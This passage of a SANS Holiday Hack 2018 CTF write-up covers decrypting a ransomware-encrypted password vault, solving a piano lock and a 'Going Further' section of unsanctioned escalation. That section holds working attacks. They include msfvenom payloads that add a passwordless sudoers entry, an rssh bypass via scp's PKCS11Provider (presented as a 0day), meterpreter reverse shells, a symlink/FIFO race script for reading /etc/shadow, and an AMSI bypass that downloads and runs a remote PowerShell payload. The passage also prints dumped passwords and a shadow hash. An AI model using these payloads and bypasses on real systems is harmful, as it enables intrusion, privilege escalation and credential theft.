: print 1 3cf903522e1a3966805b50e7f7dd51dc7969c73cfb1663a75a56ebf4aa4a1849d1949005437dc44b8464dca05680d531 b7a971672d87b24b7a6d672d1d811e6c34f42b2f8d7f2b43aab698b537d2df2f401c2a09fbe24c5833d2c5861139c4b4 d3147abb55e671d0cac709d1cfe86860b6417bf019789950d0bf8d83218a56e69309a2bb17dcede7abfffd065ee0491b 379be44029ca4321e60407d44e6e381691dae5e551cb2354727ac257d977722188a946c75a295e714b668109d75c0010 0b94861678ea16f8b79b756e45776d29268af1720bc49995217d814ffd1e4b6edce9ee57976f9ab398f9a8479cf911d7 d47681a77152563906a2c29c6d12f971 Press Enter to Continue... ================ Filters ================ 1| LENGTH len(variable_values) == 512 [i] 1 powershell Variable Values found!
Looks like we found it! Let's also recover the SHA1 hash of the key, so that we can verify it's correct once we decrypt it. A hex-encoded SHA1 hash will be 40 characters long:
: len == 40 ================ Filters ================ 1| LENGTH len(variable_values) == 40 [i] 45 powershell Variable Values found! ============== Search/Dump PS Variable Values =================================== COMMAND | ARGUMENT | Explanation ===============|=============================|================================= print | print [all|num] | print specific or all Variables dump | dump [all|num] | dump specific or all Variables contains | contains [ascii_string] | Variable Values must contain string matches | matches "[python_regex]" | match python regex inside quotes len | len [>|<|>=|<=|==] [bt_size]| Variables length >,<,=,>=,<= size clear | clear [all|num] | clear all or specific filter num =============================================================================== : matches "^[a-f0-9]+$" ================ Filters ================ 1| LENGTH len(variable_values) == 40 2| MATCHES bool(re.search(r"^[a-f0-9]+$",variable_values)) [i] 1 powershell Variable Values found! ============== Search/Dump PS Variable Values =================================== COMMAND | ARGUMENT | Explanation ===============|=============================|================================= print | print [all|num] | print specific or all Variables dump | dump [all|num] | dump specific or all Variables contains | contains [ascii_string] | Variable Values must contain string matches | matches "[python_regex]" | match python regex inside quotes len | len [>|<|>=|<=|==] [bt_size]| Variables length >,<,=,>=,<= size clear | clear [all|num] | clear all or specific filter num =============================================================================== : print b0e59a5e0f00968856f22cff2d6226697535da5b
Now we can use the private key to decrypt it. At this point, we ran into some issues doing this in Powershell, as loading private key is a bit different from how the malware loads the public key. We'll switch to Python for the rest of this challenge:
#!/usr/bin/env python import binascii import hashlib from Crypto.Cipher import PKCS1_OAEP from Crypto.PublicKey import RSA pub_key_encrypted_key = "3cf903522e..." raw_encrypted_key = binascii.unhexlify(pub_key_encrypted_key) rsa_key = RSA.importKey(open('../../artifacts/obj9/server.key', "rb").read()) cipher = PKCS1_OAEP.new(rsa_key) decrypted_key = cipher.decrypt(raw_encrypted_key) hex_key = binascii.hexlify(decrypted_key) # Check the SHA1 hash sha1_target = "b0e59a5e0f00968856f22cff2d6226697535da5b" sha1_result = hashlib.sha1(hex_key).hexdigest() if sha1_result == sha1_target: print "Found the key!", binascii.hexlify(decrypted_key) else: print "Key SHA1 hash doesn't match..." print "Target:", sha1_target, "ours:", sha1_result
Once we run that, we're greeted with
Found the key! fbcfc121915d99cc20a3d3d5d84f8308
.Last step. Now we can use that key to decrypt the encrypted wannacookie file. Once again, we turn to Python:
#!/usr/bin/env python from Crypto.Cipher import AES import binascii import struct hex_key = "fbcfc121915d99cc20a3d3d5d84f8308" key = binascii.unhexlify(hex_key) with open("../../artifacts/obj9/alabaster_passwords.elfdb.wannacookie", 'rb') as f: # $FileSW.Write([System.BitConverter]::GetBytes($AESP.IV.Length), 0, 4) iv_length = struct.unpack('i', f.read(4))[0] # $FileSW.Write($AESP.IV, 0, $AESP.IV.Length) iv = f.read(iv_length) rest = f.read() obj = AES.new(key, AES.MODE_CBC, iv) result = open("../../artifacts/obj9/alabaster_passwords.elfdb", 'wb') result.write(obj.decrypt(rest)) result.close()
End result:
alabaster_passwords.elfdb: SQLite 3.x database
. We've done this before!$ sqlite3 alabaster_passwords.elfdb .dump PRAGMA foreign_keys=OFF; BEGIN TRANSACTION; CREATE TABLE IF NOT EXISTS "passwords" ( `name` TEXT NOT NULL, `password` TEXT NOT NULL, `usedfor` TEXT NOT NULL ); INSERT INTO passwords VALUES('alabaster.snowball','CookiesR0cK!2!#','active directory'); INSERT INTO passwords VALUES('alabaster@kringlecastle.com','KeepYourEnemiesClose1425','www.toysrus.com'); INSERT INTO passwords VALUES('alabaster@kringlecastle.com','CookiesRLyfe!*26','netflix.com'); INSERT INTO passwords VALUES('alabaster.snowball','MoarCookiesPreeze1928','Barcode Scanner'); INSERT INTO passwords VALUES('alabaster.snowball','ED#ED#EED#EF#G#F#G#ABA#BA#B','vault'); INSERT INTO passwords VALUES('alabaster@kringlecastle.com','PetsEatCookiesTOo@813','neopets.com'); INSERT INTO passwords VALUES('alabaster@kringlecastle.com','YayImACoder1926','www.codecademy.com'); INSERT INTO passwords VALUES('alabaster@kringlecastle.com','Woootz4Cookies19273','www.4chan.org'); INSERT INTO passwords VALUES('alabaster@kringlecastle.com','ChristMasRox19283','www.reddit.com'); COMMIT;
Answer:
ED#ED#EED#EF#G#F#G#ABA#BA#B
:CUSTOM_ID: obj9
Who Is Behind It All?
Goal
Use what you have learned from previous challenges to open the door to Santa's vault. What message do you get when you unlock the door?
Background
Solution
We take the notes recovered from Alabaster's decrypted password vault, and try it on the piano lock. The document we recovered from Packalyzer helpfully shows us the notes on the piano keys.
Figure 58: Wrong key
The hint tells us that it should be in the key of D, not E. The Packalyzer document also told us how to transcribe music from one key to another. Let's try:
| Note in key of E | Note in key of D |
|---|---|
| E | D |
| D# | C# |
| E | D |
| D# | C# |
| E | D |
| E | D |
| D# | C# |
| E | D |
| F# | E |
| G# | F# |
| F# | E |
| G# | F# |
| A | G |
| B | A |
| A# | G# |
| B | A |
| A# | G# |
| B | A |
Trying that sequence (DC#DC#DDC#DEF#EF#GAG#AG#A
) reveals:
Figure 59: Right key!
Once we enter the vault, Alabaster tells us:
Of course I transposed it it before I entered it into my database for extra security.
Hans offers us a congratulations, and Santa explains the whole thing, finishing:
You did such a GREAT job! And remember what happened to the people who suddenly got everything they ever wanted?
They lived happily ever after.
So, who was behind it all?
Answer:
Santa
de Bruijn Piano Lock?
After learning about de Bruijn sequences, we were curious if that
would work here. The lock seemed to operate in the same way, as it
would try unlocking after each note was pressed. We noticed that
the tune in question had a similar note pattern at the end
(AG#AG#A
) as at the beginning (DC#DC#D
). We whipped up a quick
Python program that verified that in fact we could generate a de
Bruijn sequence.
#!/usr/bin/env python notes = ['C', 'C#', 'D', 'D#', 'E', 'F', 'F#', 'G', 'G#', 'A', 'A#', 'B'] tune = ['E', 'D#', 'E', 'D#', 'E', 'E', 'D#', 'E', 'F#', 'G#', 'F#', 'G#', 'A', 'B', 'A#', 'B', 'A#', 'B'] def adjust(offset): result = [] for note in tune: index = notes.index(note) index += offset if index >= len(notes): index = index % len(notes) result.append(notes[index]) return result first = tune[0] result = adjust(0) last = result[-1] offsets = [0] sequence = result[:-5] while True: offset = notes.index(last) - notes.index(first) if offset in offsets: # Loop detected break result = adjust(offset) print "Key is now", result[0] last = result[-1] offsets.append(offset) sequence += result[:-5] print "de Bruijn sequence is", len(sequence), "notes long." print "Without de Bruijn, it would've been", len(offsets)*len(tune), "notes long." print " ".join(sequence)
The result was:
Key is now B Key is now F# Key is now C# Key is now G# Key is now D# Key is now A# Key is now F Key is now C Key is now G Key is now D Key is now A de Bruijn sequence is 156 notes long. Without de Bruijn, it would've been 216 notes long.
Figure 60: de Bruijn key sequence for Marriage of Figaro
Rachmaninoff?
As we walk around the castle, everyone congratulates us on winning. However, we don't feel complete, as we're left with the nagging question of what in the world Alabaster was talking about with his Rachmaninoff-no-really-Mozart song. We have the notes, but not the tune. Can we figure out the song?
This one we solved two ways:
Musipedia.org allows you to search by melodic contour (Parsons code). By simply saying if each note progression goes up, down, or repeats, it can find the closest matches:
Figure 61: Musipedia Parsons search
The Wedding of Figaro seems to match perfectly:
Figure 62: Wedding of Figaro, by Mozart
But still… why Rachmaninoff, then? The answer is found in the second method we used to figure this out:
Figure 63: Asking on Facebook…
And with that, Santa's parting words make a lot more sense too:
Going Further: Escalations and 0days
At this point, we've solved it all! However, our curiousity is unabated, and we'd like to know what else we can find…
Note
We managed to escalate to root on the snort terminal, pivot to snortsensor1, where we got command execution and were able to read files with root privileges. Finally, we got a shell on careers.
Scan-O-Matic
We managed to get through the Scan-O-Matic, but we were curious to see who had access.
We wrote two simple tools which allowed us to use sqlmap
to enumerate the rest of the data in the table:
+------------------+---------+----------------+------------+------------+ | uid | enabled | last_name | first_name | authorized | +------------------+---------+----------------+------------+------------+ | 1eyLovhxiOIlfRUG | 0 | evergreen | bushy | 0 | | 5qLIf1BXX4Sv8sEX | 0 | minstix | pepper | 0 | | 8DEb50kquIoIoUtg | 0 | redberry | sparkle | 0 | | dsdZpzQxGCqaA2Zn | 0 | candycane | minty | 0 | | exO6PqczJ7WedM2Q | 0 | upatree | shimmy | 0 | | I7SfXpRjJ1iVSfdt | 0 | openslae | wunorse | 0 | | Io2gs3VigcqjSxW2 | 0 | claus | santa | 1 | | N2Jg3gxC5aXHVjjD | 0 | sugarplum | mary | 0 | | nb8ZVgfMk9OYtuCl | 1 | <blank> | theo | 1 | | oRfjg5uGHmbduj2m | 0 | snowball | alabaster | 1 | | P8qXJeGhy1LRlM5e | 0 | mcjinglehauser | tarpin | 0 | | VvYFHiGQzrQB9eAT | 0 | evergreen | holy | 0 | +------------------+---------+----------------+------------+------------+
We note that only Theo has access.
Escalating to root on snort
We've solved the Snort challenge, but what else can we do on that system?
Checking ps
, we see:
elf@snort:~$ ps auxwwf USER PID %CPU %MEM VSZ RSS TTY STAT START TIME COMMAND root 1 0.0 0.0 18028 2880 pts/0 Ss 05:07 0:00 /bin/bash ./init root 11 0.4 0.0 18028 2904 pts/0 S 05:07 0:05 /bin/bash /root/check root 10448 0.0 0.0 24620 7028 pts/0 R 05:29 0:00 \_ python3 -c import time; time.sleep(0.1) root 12 0.0 0.0 46988 2816 pts/0 S 05:07 0:00 /bin/su elf elf 13 0.0 0.0 18244 3344 pts/0 S 05:07 0:00 \_ bash
So, root is running a number of processes. Let's see if we can
figure out what's happening behind the scenes to test our
rule. It seems as if something happens whenever we modify the
local.rules file, so we can simulate that with touch
:
elf@snort:~$ touch /etc/snort/rules/local.rules ; sleep 2; ps auxwwf USER PID %CPU %MEM VSZ RSS TTY STAT START TIME COMMAND root 1 0.0 0.0 18028 2840 pts/0 Ss 05:31 0:00 /bin/bash ./init root 9 0.2 0.0<PHONE_NUMBER>2 pts/0 Sl 05:31 0:00 python3 /root/trons root 803 0.0 0.0 4500 780 pts/0 S 05:33 0:00 \_ /bin/sh -c snort -A fast -r /root/snort.log.pcap -l /root/user_snort_logs/ -c /etc/snort/snort.conf root 804 12.0 0.1<PHONE_NUMBER>72 pts/0 Sl 05:33 0:00 \_ snort -A fast -r /root/snort.log.pcap -l /root/user_snort_logs/ -c /etc/snort/snort.conf root 11 0.4 0.0 18028 2820 pts/0 S 05:31 0:00 /bin/bash /root/check root 814 0.0 0.0 22924 3572 pts/0 R 05:33 0:00 \_ python3 -c import time; time.sleep(0.1) root 12 0.0 0.0 46988 2712 pts/0 S 05:31 0:00 /bin/su elf elf 14 0.0 0.0 18240 3188 pts/0 S 05:31 0:00 \_ bash
Here we see that root actually runs snort
to check our
rules. Perhaps we can modify the Snort configuration in such a
way to run some commands as root? We can't modify
/etc/snort/snort.conf
, but let's see how the local.rules
file
is being loaded:
elf@snort:~$ grep local.rules /etc/snort/snort.conf include $RULE_PATH/local.rules
Ah! It seems as if it's being included into the config. A generic
include
statement would imply that we could modify arbitrary
configuration settings, and we're not simply limited to adding
rules. Looking over the Snort documentation, we found a very
intriguing option:
dynamicpreprocessor [file <shared library path> | directory <directory of shared libraries> ]
Tells snort to load the dynamic preprocessor shared library (if file is used) or all dynamic preprocessor shared libraries (if directory is used).
Time to create a malicious shared library:
msfvenom -p linux/x64/exec CMD="echo 'elf ALL=(ALL) NOPASSWD:ALL' >> /etc/sudoers" -f elf-so -o sudo.so
The above command uses Metasploit's msfvenom
to create a shared
library which will execute a command when it's loaded. Because
Snort's running as root, the command will run as root as
well. The command grants our elf
user the ability to run any
command with superuser privileges, without prompting for a
password.
The Snort system is the only Docker container which has
networking enabled. We can transfer our new shared library by
simply using wget
. Then, we add it to the local.rules
file:
elf@snort:~$ wget <IP_ADDRESS>/snort.so elf@snort:~$ echo 'dynamicpreprocessor /home/elf/sudo.so' > /etc/snort/rules/local.rules # Wait a few seconds for for root to run snort... elf@snort:~$ sudo su - root@snort:~# id uid=0(root) gid=0(root) groups=0(root)
Pivoting to snortsensor1
Now that we have root access on the Snort docker container, we can extract the HMAC key from the script. We also see the following interesting snippet from the trons
script (snort spelled backwards):
def download_snort_pcap(): while True: sp.call('/usr/bin/scp -oStrictHostKeyChecking=no -i /root/elf.key elf@snortsensor1.kringlecastle.com:snort.log.pcap /root/ 2>/dev/null >/dev/null', shell=True) copyfile('/root/snort.log.pcap', '/home/elf/snort.log.pcap') time.sleep(10)
Sure enough, using the private key, we can also login to snortsensor1 as elf. However, we run into an issue:
root@snort:~# ssh -i elf.key<EMAIL_ADDRESS>Linux hhc18-snortsensor 4.9.0-8-amd64 #1 SMP Debian 4.9.110-3+deb9u6 (2018-10-08) x86_64 The programs included with the Debian GNU/Linux system are free software; the exact distribution terms for each program are described in the individual files in /usr/share/doc/*/copyright. Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent permitted by applicable law. Last login: Wed Dec 12 23:27:59 2018 from <IP_ADDRESS> This account is restricted by rssh. Allowed commands: scp sftp If you believe this is in error, please contact your system administrator. Connection to snortsensor1.kringlecastle.com closed.
Command execution on snortsensor1
We need to figure out a way past rssh
. We can copy files off of
the system, and we can copy /etc/rssh.conf
, which mainly has:
allowscp allowsftp
To start, let's see what actually happens when we run
scp
. We'll run it with the --verbose
(-v
) flag:
$ scp -v -i elf.key test_file<EMAIL_ADDRESS>Executing: program /usr/bin/ssh host snortsensor1.kringlecastle.com, user elf, command scp -v -t . OpenSSH_7.7p1, LibreSSL 2.7.3 ...
So, scp
is simply calling ssh
with a fixed command. We can run this ourselves to verify:
$ ssh -i elf.key<EMAIL_ADDRESS>'scp -v -t .'
<hangs...>
lll
scp: lll
Sink: lll
So, the program hangs, and once we type some input, we get some
text back. So, it certainly seems as if rssh
allowed us to run
our scp
command. Can we run other commands this way?
$ ssh -i elf.key<EMAIL_ADDRESS>'id' This account is restricted by rssh. Allowed commands: scp sftp If you believe this is in error, please contact your system administrator.
That's a negative. rssh
must be filtering the commands we can
run. Time to dive into the scp
and ssh
documentation, and see
if there's a way we can craft an scp
invocation that will cause
it to execute commands. Quickly, we identify a promising candidate:
-S program Name of program to use for the encrypted connection. The program must understand ssh(1) options.
$ ssh -i elf.key<EMAIL_ADDRESS>'scp -S id -v -t .' 1 master illegal insecure S option This account is restricted by rssh. Allowed commands: scp sftp If you believe this is in error, please contact your system administrator.
They're on to us… Reading further, we see that we can also pass ssh
options to scp
:
-o ssh_option Can be used to pass options to ssh in the format used in ssh_config(5). This is useful for specifying options for which there is no separate scp command-line flag. For full details of the options listed below, and their possible values, see ssh_config(5). AddressFamily BatchMode ...
Reading through the ssh_config
man page, we find another intriguing option:
PKCS11Provider Specifies which PKCS#11 provider to use. The argument to this keyword is the PKCS#11 shared library ssh(1) should use to communicate with a PKCS#11 token providing the user's private RSA key.
From the snort system, we already know the fun we can have with a shared library. First, we'll build a library which executes a command when it's loaded:
$ msfvenom -p linux/x64/exec CMD="id" -f elf-so -o pkcs11_id.so No platform was selected, choosing Msf::Module::Platform::Linux from the payload No Arch selected, selecting Arch: x64 from the payload No encoder or badchars specified, outputting raw payload Payload size: 47 bytes Final size of elf-so file: 449 bytes Saved as: pkcs11_id.so
Now, will scp
load this? We test on our system first:
$ scp -o PKCS11Provider=pkcs11_id.so -v -t .
<hangs...>
llll
Sink: llll
scp: llll
No, the same behavior. Of course! The man page said that this
option is passed to the ssh
call, and by just listening for
data, scp
is never calling ssh
. To make it do this, we'll try
using scp
to send a file from our system to another:
$ scp -o PKCS11Provider=./pkcs11_id.so test_file test_server: uid=1000(rssh_user) gid=1000(rssh_user) groups=1000(rssh_user)
Success! Now the question is, will rssh
allow this new scp
command? First, we'll copy our shared library over to the
system. We'll add another ssh
option to ignore the "New host
key, Are you sure you want to continue?" prompt:
$ scp -i elf.key pkcs11_id.so<EMAIL_ADDRESS>pkcs11_id.so $ COMMAND='scp -o StrictHostKeyChecking=no -o PKCS11Provider=/home/elf/pkcs11_id.so /dev/null <IP_ADDRESS>:' $ ssh -i elf.key<EMAIL_ADDRESS>$COMMAND uid=1005(elf) gid=1006(elf) groups=1006(elf)
Success!
We reported this issue to the rssh
author, who replied saying that:
RSSH is no longer maintained.
We've applied for a CVE and will update our report when that's assigned.
So… we discovered a 0day! And perhaps it's time for people to switch off of rssh
.
At this point, it's trivial to escalate this to a meterpreter shell:
$ msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST="<IP_ADDRESS>" -f elf-so -o legit.so No platform was selected, choosing Msf::Module::Platform::Linux from the payload No Arch selected, selecting Arch: x64 from the payload No encoder or badchars specified, outputting raw payload Payload size: 127 bytes Final size of elf-so file: 529 bytes Saved as: legit.so $ scp -i elf.key legit.so<EMAIL_ADDRESS>legit.so 100% 529 27.0KB/s 00:00 $ COMMAND='scp -o StrictHostKeyChecking=no -o PKCS11Provider=/home/elf/legit.so /dev/null <IP_ADDRESS>:' # At this point, we start a metasploit session listening in another window: $ msfconsole -x "use exploit/multi/handler; set PAYLOAD linux/x64/meterpreter/reverse_tcp ; set LHOST <IP_ADDRESS>; run" ... PAYLOAD => linux/x64/meterpreter/reverse_tcp LHOST => <IP_ADDRESS> [*] Exploit running as background job 0. [*] Started reverse TCP handler on <IP_ADDRESS>:4444 # Finally, we can trigger the attack: $ ssh -i ~/hhc18/snort/root/elf.key<EMAIL_ADDRESS>$COMMAND # This hangs, but, meanwhile... msf exploit(handler) > [*] Sending stage (2878936 bytes) to <IP_ADDRESS> [*] Meterpreter session 1 opened (<IP_ADDRESS>:4444 -> <IP_ADDRESS>:48850) at 2019-01-14 17:38:48 +0000 msf exploit(handler) > sessions -i 1 [*] Starting interaction with 1... meterpreter > sysinfo Computer : hhc18-snortsensor.c.holidayhack2018.internal OS : Debian 9.5 (Linux 4.9.0-8-amd64) Architecture : x64 Meterpreter : x64/linux
Bingo!
Privilege Escalation on snortsensor1
Now that we have a comfortable foothold, we can see how the
holiday magic of snortsensor1 was created. Looking at processes
running, we identify /home/chris/packet_generator.py
, and we
notice that it's running as root. The main logic of that script
is:
if __name__ == "__main__": os.chdir('/home/chris') local_ip = ni.ifaddresses('eth0')[AF_INET][0]['addr'] bad_packets = rdpcap('wannacookie_txt_dropper_only_queries.pcap') bad_packets2 = rdpcap('wannacookie_txt_dropper_only_queries.pcap') good_packets = rdpcap('wannacookie_txt_dropper_only_queries.pcap') good_packets = morph_good_packets(good_packets, local_ip) bad_packets = morph_bad_packets(bad_packets, local_ip) bad_packets2 = morph_bad_packets(bad_packets2, local_ip) final_packets = [] # ... destination_file = 'snort.log.'+ str(time.time()) +'.pcap' generated_file = '/home/elf/snort.log.pcap' #Remove Old Pcaps From Web Dir listed_dir = [x for x in os.listdir('/var/www/html/') if x.endswith('.pcap')] while len(listed_dir) > 5: tmp = [os.path.getctime('/var/www/html/'+x) for x in listed_dir] oldest = min(tmp) os.remove('/var/www/html/'+listed_dir[tmp.index(oldest)]) if os.path.exists(generated_file): os.remove(generated_file) wrpcap(generated_file, final_packets) copyfile(generated_file, '/var/www/html/'+destination_file)
This script has a vulnerability in this section:
# If the file already exists, remove it if os.path.exists(generated_file): os.remove(generated_file) # Write the new PCAP to /home/elf/snort.log.pcap wrpcap(generated_file, final_packets) # Copy the file to the web root copyfile(generated_file, '/var/www/html/'+destination_file)
Let's assume that an attacker wants to access a file on the
system that the elf user isn't authorized to read. Because
packet_generator.py
is running as root, the attacker knows that
the script can read that file. Furthermore, the script is
placing files in the publicly accessible web server root.
Linux uses symbolic links (symlinks), almost as a pointer from one location to another on the filesystem. If an attacker times their attack just right, they can do something like:
Figure 64: packet_generator race condition
An interesting note is that this attack was possible without the
rssh
vulnerability, as sftp
was allowed, and sftp
can
create symlinks.
However, this race is very hard to win. And, if we don't time it right, the following happens:
Figure 65: packet_generator oops condition
Let's see if we can't improve our odds. Another special Linux
file is a FIFO, or named
pipe. These are designed so that one side will write to it, and
another will read to it. All data is passed internally, without
being written to the filesystem. One side-effect of using a FIFO
is that, when you write to it, your program will hang until
something reads from it. We can use this to cause
packet_generator
to pause at the right time, giving us a much
better chance to win the race.
Figure 66: packet_generator FIFO
We've successfully moved the race up a step, where now we need to
get packet_generator
writing to our FIFO just after it deletes
snort.log.pcap
, but before it starts writing to it. However,
this approach has two advantages: the wrpcap
function takes a
bit of time to run, and the risk of accidentally overwriting our
target file is greatly reduced.
We weaponized this as a bash script, which has the following logic:
Figure 67: race.sh logic
#!/bin/bash FILE="$1" OLD_PID="NOT_FOUND" rm race.fifo mkfifo race.fifo while true do PID=$(pgrep python3) ATTEMPT_DONE="no" while [[ "$OLD_PID" -ne "$PID" ]] do if [[ -n "$PID" ]] then ELAPSED=$(ps -o etimes:1= -p $PID) if [[ "$ELAPSED" -gt "4" ]] then # Running for more than 4 seconds. Now's our chance! echo "Creating symlink to $FILE" rm -f snort.log.pcap ln -sf -- "$FILE" snort.log.pcap timeout 2 cat race.fifo rm -f snort.log.pcap ATTEMPT_DONE="yes" OLD_PID=$PID else # Process is running, but is new. Flip-flop the symlink for i in {1..10} do ln -sf race.fifo snort.log.pcap sleep 0.05 ln -sf race.not_a_fifo snort.log.pcap sleep 0.05 done fi else # Not running. Make sure race.not_a_fifo is gone, and wait rm -f race.not_a_fifo sleep 0.5 PID=$(pgrep python3) fi done if [[ "$ATTEMPT_DONE" = "yes" ]] then # We've completed our hijack attempt. Did it work? if file /var/www/html/* 2> /dev/null | grep -qv tcpdump then ls -la -- /var/www/html "$FILE" exit fi ATTEMPT_DONE="no" else echo "Waiting on new process..." sleep 0.5 fi done
When running, this looks like:
meterpreter > shell Process 26394 created. Channel 9 created. bash ./trap.sh /etc/shadow Waiting on new process... ... Creating symlink to /etc/shadow ls -la -- /var/www/html /etc/shadow -rw-r----- 1 root shadow 1899 Jan 14 05:13 /etc/shadow /var/www/html: total 448 drwxr-xr-x 2 root root 4096 Jan 14 19:36 . drwxr-xr-x 3 root root 4096 Nov 1 13:58 .. -rw-r--r-- 1 root root 87871 Jan 14 19:30 snort.log.1547494206.738935.pcap -rw-r--r-- 1 root root 88623 Jan 14 19:32 snort.log.1547494327.5587683.pcap -rw-r--r-- 1 root root 88558 Jan 14 19:33 snort.log.1547494387.5040042.pcap -rw-r--r-- 1 root root 89307 Jan 14 19:35 snort.log.1547494507.5282817.pcap -rw-r--r-- 1 root root 1899 Jan 14 19:36 snort.log.1547494567.4750795.pcap
We see that there's a new file, with the same size as our target. Now we can download it, and we've got some hashes!
root:$6$<HASH_REDACTED>:17837:0:99999:7::: daemon:*:17815:0:99999:7::: ... sshd:*:17815:0:99999:7::: dpendolino:*:17836:0:99999:7::: tkh16:*:17836:0:99999:7::: chrisjd20:*:17836:0:99999:7::: chris:$6$<HASH_REDACTED>:17837:0:99999:7::: snort:*:17836:0:99999:7::: messagebus:*:17836:0:99999:7::: elf:$6$IQLqM3xd$9pNFY88Tu6s6ZWqqu/XSBZMf.VXcV7SuLte49nYIrhTg8BfHUkwZW6fue8irCm4GYnpgQBO17bfW16HvMR6YA1:17837:0:99999:7::: daniel:*:17844:0:99999:7::: tom:*:17876:0:99999:7::: jeff:*:17901:0:99999:7:::
At this point, if we can crack root's password, we have completely compromised this system.
Popping a shell on careers
The final system we turned our attention to was careers.kringlecastle.com. We already got our file off of this system, but we'd like to see what else we can do.
We first tried to get a meterpreter session running, but quickly found that Windows Defender was blocking it. We were able to bypass Defender with this method: https://rastamouse.me/2018/12/amsiscanbuffer-bypass-part-4/
$Ref = ( "System, Version=<IP_ADDRESS>, Culture=neutral, PublicKeyToken=b77a5c561934e089", "System.Runtime.InteropServices, Version=<IP_ADDRESS>, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a" ) $Source = @" using System; using System.Runtime.InteropServices; namespace Bypass { public class AMSI { [DllImport("kernel32")] public static extern IntPtr GetProcAddress(IntPtr hModule, string procName); [DllImport("kernel32")] public static extern IntPtr LoadLibrary(string name); [DllImport("kernel32")] public static extern bool VirtualProtect(IntPtr lpAddress, UIntPtr dwSize, uint flNewProtect, out uint lpflOldProtect); [DllImport("Kernel32.dll", EntryPoint = "RtlMoveMemory", SetLastError = false)] static extern void MoveMemory(IntPtr dest, IntPtr src, int size); public static int Disable() { IntPtr TargetDLL = LoadLibrary("amsi.dll"); if (TargetDLL == IntPtr.Zero) { return 1; } IntPtr ASBPtr = GetProcAddress(TargetDLL, "Amsi" + "Scan" + "Buffer"); if (ASBPtr == IntPtr.Zero) { return 1; } UIntPtr dwSize = (UIntPtr)5; uint Zero = 0; if (!VirtualProtect(ASBPtr, dwSize, 0x40, out Zero)) { return 1; } Byte[] Patch = { 0xB8, 0x57, 0x00, 0x07, 0x80, 0xC3 }; IntPtr unmanagedPointer = Marshal.AllocHGlobal(6); Marshal.Copy(Patch, 0, unmanagedPointer, 6); MoveMemory(ASBPtr, unmanagedPointer, 6); return 0; } } } "@ Add-Type -ReferencedAssemblies $Ref -TypeDefinition $Source -Language CSharp [Bypass.AMSI]::Disable(); # This loads and runs our actual payload IEX ((new-object net.webclient).downloadstring("http://<IP_ADDRESS>/hugs.ps1"));
To create our actual payload, we use msfvenom
once again. For
the reasons listed in the article above, we're careful to use a
64-bit payload, so as to not spawn a non-bypassed 32-bit
Powershell instance.
$ msfvenom --platform windows -p windows/x64/meterpreter_reverse_tcp LHOST=<IP_ADDRESS> LPORT=4444 -f psh -o hugs.ps1 No Arch selected, selecting Arch: x64 from the payload No encoder or badchars specified, outputting raw payload Payload size: 205379 bytes Final size of psh file: 959328 bytes Saved as: hugs.ps1
We fire up meterpreter (-x "use exploit/multi/handler; set PAYLOAD windows/x64/meterpreter_reverse_tcp ; set LHOST <IP_ADDRESS>; run"
), and soon see:
[*] Meterpreter session 1 opened (<IP_ADDRESS>:4444 -> <IP_ADDRESS>:49832) at 2019-01-14 09:16:54 +0000 msf exploit(handler) > sessions -i 1 [*] Starting interaction with 1... meterpreter > ps Process List ============ PID PPID Name Arch Session User Path --- ---- ---- ---- ------- ---- ---- 0 0 [System Process] 4 0 System 264 592 svchost.exe 280 4 smss.exe 368 360 csrss.exe 448 360 wininit.exe 456 440 csrss.exe 480 2180 powershell.exe x64 0 HHC18-DDE\sparkle.redberry C:\Windows\System32\WindowsPowerShell...
Unfortunately, our shell will get killed off after about 30 seconds. So, we'll migrate to another process. We see that Sparkle is running the Non-Sucking Service Manager, so we'll try to migrate to that process:
msf exploit(handler) > set AutoRunScript post/windows/manage/migrate SPAWN=false PID=2864 AutoRunScript => post/windows/manage/migrate SPAWN=false PID=2864 msf exploit(handler) > rerun [*] Stopping existing job... [*] Reloading module... [*] Exploit running as background job 1. msf exploit(handler) > [*] Started reverse TCP handler on <IP_ADDRESS>:4444 [*] Meterpreter session 2 opened (<IP_ADDRESS>:4444 -> <IP_ADDRESS>:49921) at 2019-01-14 19:56:47 +0000 [*] Session ID 2 (<IP_ADDRESS>:4444 -> <IP_ADDRESS>:49921) processing AutoRunScript 'post/windows/manage/migrate SPAWN=false PID=2864' [*] Running module against HHC18-DDE [*] Current server process: powershell.exe (3296) [+] Migrating to 2864 [+] Successfully migrated to process 2864
At this point, we tried a few things (and were able to recover Sparkle's password hash through an SMB relay attack), but the escalation paths we saw risked the stability of the game, and we didn't pursue the matter.
Working as a Team
While working on this challenge, we used three main techniques to get things done and stay organized. We were mostly working in the same room that happened to have a couple of big whiteboards. Those came in handy as we slowly drew out the map of the game and location of all things in it. We also originally tracked our progress using this. The whiteboards also came in handy as a way to quickly iterate through ideas on specific challenges we faced.
Figure 68: Map Whiteboard
The use of a private Slack channel was also very helpful. It existed as a place to both dump answers, clues, and interesting artifacts, as well as a good place for discussion for when we weren’t in the same room.
Figure 69: Progress Whiteboard
Our final method for working was using a private GitHub repo. We didn’t want to have a public one because we didn’t want to spoil things for others, nor did we want to give away any advantage we had or secrets we found. GitHub was very useful for a place for more well defined to do list. We used GitHub issues to track what we still needed to do and chat about who was doing what. Labelling issues helped us to prioritize this to do list so we could make sure to finish up the challenge with the most impactful parts done.
All in all, using these collaboration techniques allowed us to be as comprehensive as we could with both the challenge and the end report.
Easter Eggs
A quick list of easter eggs that we found as we were going through the game.
| Egg | Location | Reference | Notes |
|---|---|---|---|
| OHHIMARK | LineCon/KringleCon | The Room | WebSocket Message |
| "Wake up, we're at Grandma's" | LineCon/KringleCon | MST3k | WebSocket Message |
| egg.png | LineCon/KringleCon | Twitter Egg Logo | |
| a-wild-missingno-appears | LineCon/KringleCon | Pokemon | |
| Lethal ForensicELFification | Terminal | Lethal Forensicator | |
| Lethal ForensicELFification | Terminal | The Raven | |
-a 42 |
Stall Mucking Argument | Hitchhiker's Guide | smbwrapper command argument |
ignore-sw-holiday-special |
Stall Mucking Argument | Star Wars Holiday Special & 2016 HHC | smbwrapper command argument |
| directreindeerflatterystable | Stall Mucking Password | XKCD | |
| KONAMI CODE | Yule Log Analysis | Konami Code and 2015 HHC | In reverse-engineered code |
| Escape from LA | Python Terminal | Escape from LA movie ("Snake is Back!") | |
| Candy Striper | CURLing Terminal | 2017 HHC | |
| EE2 (CranPi Logo) | GitLab | Old HHCs, Raspberry Pi | |
| EE3 (Drawing of Hans) | GitLab | Die Hard | |
